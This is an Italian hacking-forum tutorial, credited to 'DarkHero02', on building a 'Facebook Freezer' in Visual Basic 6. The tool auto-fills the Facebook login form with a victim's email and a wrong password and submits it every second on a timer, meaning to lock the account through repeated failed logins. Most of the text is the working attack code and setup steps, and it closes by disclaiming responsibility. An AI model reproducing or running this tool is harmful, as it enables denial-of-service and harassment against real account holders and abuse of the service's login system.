In questo tutorial spiegherò come creare un freezer per facebook, innanzitutto andiamo su
www.facebook.com e digitiamo email e password a caso sbagliati e se tutto va bene dovremmo trovarci qui:
https://login.facebook.com/login.php?login_attempt=1Ora andiamo ad esplorare il codice HTML della pagina ed andiamo a ricavare il nome delle TextBox email e password e del tasto Login.
Per risparmiarvi il lavoro ve le posto io:
CODICE
TextBox email = email
TextBox password = pass
CommandButton Login = login
Adesso apriamo VB6 ed inseriamo due Forms, in una mettiamo due textbox ed un commandbutton, nella seconda andiamo ad aggiungere un WebBrowser (per poterlo fare bisogna cliccare sulla barra degli oggetti e fare Tasto Destro>Componenti>Microsoft Internet Controls e poi apparirà fra gli oggetti il simbolo di un mondo, andiamo ad aggiungerlo nel Form2.
Nella Form_Load() aggiungiamo questo codice:
CODICE
WebBrowser1.Navigate "https://login.facebook.com/login.php?login_attempt=1"
e nel Command1_CLick() aggiungiamo:
CODICE
WebBrowser1.Document.All.email.Value = Text1.Text
WebBrowser1.Document.All.pass.Value = Text2.Text
WebBrowser1.Document.All.login.Click
Timer1.Enabled=True
Adesso andiamo ad aggiungere un Timer e scriviamo dentro:
CODICE
WebBrowser1.Navigate "https://login.facebook.com/login.php?login_attempt=1"
Cal Command1_Click()
e nelle proprietà del Timer mettiamo Enabled su False e Interval su 1000.
Adesso compilate ed avrete il vostro Facebook Freezer.
L'AUTORE DI QUESTA GUIDA NON SI ASSUME NESSUNA RESPONSABILITA' SULL'USO CHE NE FARETE
CREDITI: DarkHero02.
